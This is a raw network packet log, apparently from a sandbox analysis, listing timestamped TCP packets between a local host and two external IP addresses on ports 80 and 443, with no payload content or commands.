Oct 7, 2024 18:01:00.084027052 CEST	443	49966	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:00.569178104 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:00.569307089 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:00.569750071 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:00.569761992 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:00.569816113 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:00.574064970 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:00.574075937 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:00.574152946 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:00.575324059 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:00.575335026 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:00.575433969 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:00.578978062 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:00.578993082 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:00.579040051 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:00.580812931 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:00.580843925 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:00.580852032 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:00.580887079 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:00.580934048 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:00.684520960 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:00.684536934 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:00.684604883 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:00.685679913 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:00.686453104 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:00.686517000 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:00.690845013 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:00.690859079 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:00.690911055 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:00.690911055 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:00.695687056 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:00.695699930 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:00.695781946 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:00.697279930 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:00.697293043 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:00.697304010 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:00.697340012 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:00.697374105 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:00.701896906 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:00.701909065 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:00.701983929 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:00.702522993 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:00.702533960 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:00.702591896 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:00.706705093 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:00.706717968 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:00.706770897 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:00.708071947 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:00.708084106 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:00.708092928 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:00.708149910 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:00.712901115 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:00.714992046 CEST	443	49965	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:00.715068102 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:00.715467930 CEST	49965	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:00.715487003 CEST	443	49965	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:00.716039896 CEST	49965	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:00.716048002 CEST	443	49965	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:00.753846884 CEST	443	49964	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:00.754321098 CEST	49964	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:00.754340887 CEST	443	49964	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:00.754781961 CEST	49964	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:00.754786015 CEST	443	49964	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:00.808106899 CEST	443	49963	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:00.808573961 CEST	49963	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:00.808604002 CEST	443	49963	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:00.809009075 CEST	49963	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:00.809020996 CEST	443	49963	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:00.813555956 CEST	443	49962	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:00.813925982 CEST	49962	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:00.813956022 CEST	443	49962	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:00.814249992 CEST	49962	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:00.814255953 CEST	443	49962	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:00.850116014 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:00.850666046 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:00.850825071 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:00.850888968 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:00.852087975 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:00.852124929 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:00.852176905 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:00.852222919 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:00.854336977 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:00.854370117 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:00.854393959 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:00.854414940 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:00.856962919 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:00.857002974 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:00.857028008 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:00.857050896 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:00.859211922 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:00.859247923 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:00.859318972 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:00.859498024 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:00.861717939 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:00.861752987 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:00.861784935 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:00.861812115 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:00.863629103 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:00.863663912 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:00.863692999 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:00.863697052 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:00.863718987 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:00.863758087 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:00.865601063 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:00.865636110 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:00.865694046 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:00.865731955 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:00.867700100 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:00.867734909 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:00.867769003 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:00.867779016 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:00.867779970 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:00.867816925 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:00.869738102 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:00.869774103 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:00.869826078 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:00.869826078 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:00.872287035 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:00.872323990 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:00.872375011 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:00.872411966 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:00.873487949 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:00.873522997 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:00.873569965 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:00.873569965 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:00.875287056 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:00.875323057 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:00.875355005 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:00.875358105 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:00.875405073 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:00.875405073 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:00.877094984 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:00.877178907 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:00.882452011 CEST	443	49965	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:00.882520914 CEST	443	49965	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:00.882580996 CEST	49965	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:00.882839918 CEST	49965	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:00.882857084 CEST	443	49965	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:00.882867098 CEST	49965	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:00.882872105 CEST	443	49965	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:00.883511066 CEST	443	49966	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:00.884017944 CEST	49966	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:00.884025097 CEST	443	49966	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:00.884457111 CEST	49966	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:00.884462118 CEST	443	49966	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:00.885646105 CEST	49967	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:00.885723114 CEST	443	49967	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:00.885806084 CEST	49967	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:00.885961056 CEST	49967	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:00.885998011 CEST	443	49967	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:00.887672901 CEST	443	49964	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:00.887700081 CEST	443	49964	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:00.887751102 CEST	443	49964	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:00.887840033 CEST	49964	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:00.888051987 CEST	49964	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:00.888081074 CEST	443	49964	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:00.888106108 CEST	49964	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:00.888118982 CEST	443	49964	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:00.890597105 CEST	49968	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:00.890608072 CEST	443	49968	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:00.890678883 CEST	49968	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:00.890826941 CEST	49968	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:00.890837908 CEST	443	49968	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:00.915548086 CEST	443	49963	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:00.915879965 CEST	443	49963	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:00.915949106 CEST	49963	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:00.916001081 CEST	49963	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:00.916019917 CEST	443	49963	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:00.916069031 CEST	49963	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:00.916074991 CEST	443	49963	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:00.919044018 CEST	49969	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:00.919073105 CEST	443	49969	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:00.919266939 CEST	49969	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:00.919267893 CEST	49969	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:00.919296980 CEST	443	49969	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:00.933475971 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:00.933551073 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:00.933578968 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:00.933633089 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:00.934429884 CEST	443	49962	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:00.934714079 CEST	443	49962	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:00.934771061 CEST	49962	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:00.934870005 CEST	49962	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:00.934884071 CEST	443	49962	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:00.934895992 CEST	49962	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:00.934900999 CEST	443	49962	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:00.936809063 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:00.936873913 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:00.937021971 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:00.937036037 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:00.937072039 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:00.937103987 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:00.937979937 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:00.938021898 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:00.938067913 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:00.938102961 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:00.939074993 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:00.939088106 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:00.939095974 CEST	49970	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:00.939120054 CEST	443	49970	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:00.939137936 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:00.939137936 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:00.939412117 CEST	49970	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:00.939412117 CEST	49970	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:00.939435005 CEST	443	49970	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:00.940176964 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:00.940191984 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:00.940232038 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:00.940264940 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:00.941090107 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:00.941103935 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:00.941148996 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:00.942142963 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:00.942157030 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:00.942198992 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:00.942234993 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:00.943001986 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:00.943020105 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:00.943032980 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:00.943049908 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:00.943083048 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:00.943083048 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:00.943737030 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:00.943752050 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:00.943800926 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:00.943800926 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:00.944653988 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:00.944668055 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:00.944706917 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:00.945512056 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:00.945528030 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:00.945565939 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:00.945599079 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:00.946271896 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:00.946285009 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:00.946321011 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:00.946351051 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:00.947196960 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:00.947211027 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:00.947221994 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:00.947258949 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:00.947288990 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:00.948066950 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:00.948080063 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:00.948127031 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:00.948920965 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:00.948935032 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:00.948992014 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:00.949924946 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:00.949939013 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:00.949980021 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:00.950012922 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:00.950618982 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:00.950632095 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:00.950644016 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:00.950679064 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:00.950735092 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:00.951628923 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:00.951642036 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:00.951711893 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:00.952223063 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:00.952236891 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:00.952281952 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:00.953463078 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:00.953481913 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:00.953536987 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:00.953536987 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:00.953696966 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:00.953710079 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:00.953769922 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:00.953769922 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:00.954509974 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:00.954523087 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:00.954539061 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:00.954585075 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:00.954585075 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.006994009 CEST	443	49966	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:01.007069111 CEST	443	49966	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:01.007143974 CEST	49966	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:01.007173061 CEST	443	49966	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:01.007198095 CEST	443	49966	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:01.007244110 CEST	49966	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:01.007421970 CEST	49966	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:01.007435083 CEST	443	49966	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:01.007446051 CEST	49966	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:01.007452011 CEST	443	49966	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:01.010180950 CEST	49971	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:01.010234118 CEST	443	49971	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:01.010310888 CEST	49971	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:01.010443926 CEST	49971	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:01.010453939 CEST	443	49971	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:01.028879881 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.028996944 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.029985905 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.030036926 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.030744076 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.030761003 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.030786991 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.030800104 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.030930042 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.030945063 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.030965090 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.030992031 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.031649113 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.031687975 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.031785011 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.031821966 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.032165051 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.032180071 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.032201052 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.032215118 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.033025980 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.033041954 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.033082008 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.033082008 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.034069061 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.034085989 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.034115076 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.034126997 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.034595966 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.034611940 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.034625053 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.034634113 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.034663916 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.035844088 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.035861015 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.035875082 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.035882950 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.035912037 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:01.036073923 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.036089897 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.036103964 CEST	80	49961	147.45.44.104	192.168.2.5
Oct 7, 2024 18:01:01.036112070 CEST	49961	80	192.168.2.5	147.45.44.104
